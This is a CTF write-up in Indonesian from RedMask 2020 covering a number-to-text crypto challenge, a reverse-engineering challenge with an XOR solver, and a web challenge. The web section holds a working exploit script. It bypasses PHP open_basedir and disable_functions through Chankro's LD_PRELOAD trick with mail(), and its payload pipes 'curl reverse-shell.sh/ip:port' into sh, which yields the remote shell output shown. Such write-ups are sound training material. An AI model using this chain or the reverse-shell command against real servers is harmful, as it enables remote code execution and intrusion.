WriteUp Final RedMask 2020

We Stand IU

- ChaO
- AnehMan
- MBEERRR

Cryptography

1. Decimal_Number

a. Executive Summary

This Binary Code Jim Moriarty send to Sherlock this Decimal Encode Bonus Hint from Moriarty is Bit, Bite, Bites

450743440872141606108403482293553668442448778946205061477435125802312252093170632528289408092838942948116051314150 1821

Format Flag : redmask{flag}

b. Technical Report

Diberikan angka besar. Kami berasumsi untuk convert ke string. Berikut kodenya

```
print(hex(450743440872141606108403482293553668442448778946205061477435125802312252093170632528289408092838942948116051314150 1821)[2:-1].decode('hex'))
```

Hasilnya

```
redmask{Every_beat_is_a_one_every_rest_is_a_zero}
```

c. Flag

Flag: **redmask{Every_beat_is_a_one_every_rest_is_a_zero}**

Reverse Engineering

1. ReverSHolmes

a. Executive Summary

Please help sherlock again Are You Detecive Reverse ?

Format Flag : redmask{flag}

b. Technical Report

Diberikan sebuah binary dengan fungsi yang nganu nganu kayak gini.

```
__int64 getnextchar()
{
  __int64 result; // rax
  __int64 savedregs; // [rsp+4h] [rbp+0h]

  switch ( (unsigned int)&savedregs )
  {
    case 0u:
      result = (unsigned __int8)char0 ^ (unsigned int)(unsigned __int8)junkchar0;
      break;
    case 1u:
      result = (unsigned __int8)char1 ^ (unsigned int)(unsigned __int8)junkchar1;
      break;
    case 2u:
      result = (unsigned __int8)char2 ^ (unsigned int)(unsigned __int8)junkchar2;
      break;
    case 3u:
      result = (unsigned __int8)char3 ^ (unsigned int)(unsigned __int8)junkchar3;
      break;
    case 4u:
      result = (unsigned __int8)char4 ^ (unsigned int)(unsigned __int8)junkchar4;
      break;
    case 5u:
      result = (unsigned __int8)char5 ^ (unsigned int)(unsigned __int8)junkchar5;
      break;
    case 6u:
      result = (unsigned __int8)char6 ^ (unsigned int)(unsigned __int8)junkchar6;
      break;
    case 7u:
      result = (unsigned __int8)char7 ^ (unsigned int)(unsigned __int8)junkchar7;
      break;
    case 8u:
      result = (unsigned __int8)char8 ^ (unsigned int)(unsigned __int8)junkchar8;
      break;
```

Diberikan juga **flag.enc** nya, tinggal anu anu aja sesuai variabel **order** yang ada di ida pro. Berikut solvernya.

```
import string
```

```
flag = open('flag.enc', 'rb').read()

orders = [0xf, 7, 8, 0xc, 5, 0xe, 0xb, 0x13, 0x12, 0xd, 0x10,
3, 0x9, 2, 2, 4, 3, 4, 0, 1, 0, 6, 1, 0xa, 0x11, 0 ,0x14]
chars = [0x33, 0x74, 0x4f, 0x5f, 0x44, 0x61, 0x63, 0x65, 0x64,
0x47, 0x69, 0x6b, 0x6d, 0x6f, 0x73, 0x72, 0x75, 0x76, 0x79,
0x7b, 0x7d]
junkchars = [0xf9, 0x16, 0x95, 0xac, 0x32, 0xde, 0x9a, 0x5b,
0x7a, 0x5, 0x80, 0x32, 0x58, 0x9e, 0xd7, 0x69, 0xc7, 0xc0, 0x34,
0x1b, 0xbb]

def check(order, flag):
 if order == 0:
   return flag ^ junkchars[0]
 elif order == 1:
   return flag ^ junkchars[1]
 elif order == 2:
   return flag ^ junkchars[2]
 elif order == 3:
   return flag ^ junkchars[3]
 elif order == 4:
   return flag ^ junkchars[4]
 elif order == 5:
   return flag ^ junkchars[5]
 elif order == 6:
   return flag ^ junkchars[6]
 elif order == 7:
   return flag ^ junkchars[7]
 elif order == 8:
   return flag ^ junkchars[8]
 elif order == 9:
   return flag ^ junkchars[9]
 elif order == 10:
   return flag ^ junkchars[10]
 elif order == 11:
   return flag ^ junkchars[11]
 elif order == 12:
   return flag ^ junkchars[12]
 elif order == 13:
   return flag ^ junkchars[13]
```

```
 elif order == 14:
   return flag ^ junkchars[14]
 elif order == 15:
   return flag ^ junkchars[15]
 elif order == 16:
   return flag ^ junkchars[16]
 elif order == 17:
   return flag ^ junkchars[17]
 elif order == 18:
   return flag ^ junkchars[18]
 elif order == 19:
   return flag ^ junkchars[19]
 elif order == 20:
   return flag ^ junkchars[20]
 elif order == 21:
   return flag ^ junkchars[21]
 elif order == 22:
   return flag ^ junkchars[22]

hiks = ''

for i in range(len(orders)):
 hiks += chr(check(orders[i], ord(flag[i])))
 # print i

print hiks
print len(hiks)
print len(orders)
```

Run ae

```
chao at Yu in [~/Downloads/re
22:15:31 › python solver.py
redmask{you_GOOD_D3t3ctiv3}
```

c. Flag

Flag: **redmask{you_GOOD_D3t3ctiv3}**

Web Exploitation

1. Weeb Calculator

a. Executive Summary

Ya kalkulator

http://103.214.113.84:11012/

Author: Klee

b. Technical Report

Diberikan web dengan eval, agak sulit dikarenakan banyak functions yang di disable di **php.ini**. Dan ada **open_basedir** restriction yang mempersulit kita untuk melihat directory diluar **/var/www/html.** Sehingga setelah lama bergoogle ria, kami mendapatkan cara untuk melakukan bypass **open_basedir** dan bypass disable_functions dengan **LD_PRELOAD** melalui fungsi **mail** dari php. Berikut exploit yang kami buat

```
import requests, base64

url = 'http://103.214.113.84:11012/index.php'
conn = requests.Session()

p = open("Chankro/hook64.so", "rb").read()

# print base64.b64encode(p)

shell = "curl reverse-shell.sh/ip:port | sh"

sesuatu = "chdir('assets/') && ini_set('open_basedir', '/var/www/html:../') && chdir('../') && chdir('../') && chdir('../') && "

with open("Chankro/hook64.so") as pram:
 while True:
   hiks = pram.read(1024)
   if not hiks:
     break
```

```
   conn.get(url,        params={"calc":        sesuatu        +
"fwrite(fopen('/tmp/paopao.so',  'a'),  base64_decode('%s'))"  %
base64.b64encode(hiks)})

conn.get(url,      params={"calc":      "chdir('assets/')      &&
ini_set('open_basedir', '/var/www/html:../') && chdir('../') &&
chdir('../')           &&           chdir('../')           &&
file_put_contents('/tmp/hai.socket',  base64_decode('%s'))"  %
base64.b64encode(shell)})
freak          =          conn.get(url,          params={"calc":
"putenv('CHANKRO=/tmp/hai.socket')                          &&
putenv('LD_PRELOAD=/tmp/paopao.so') && mail('a','a','a','a')"})

print freak.text
```

Bjir dapet rce

```
/bin/sh: 0: can't access tty; job control turned off
$ ls
assets
index.php
$ ls /
bin
boot
dev
entrypoint.sh
etc
execute_me_to_get_flag
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ /execute_me_to_get_flag
redmask{hmm_bingung_flagnya_mau_ditulis_apaan_yg_penting_selamat_dapat_flag}
```

c. Flag

Flag: **redmask{hmm_bingung_flagnya_mau_ditulis_apaan_yg_penting_selamat_dapat_flag}**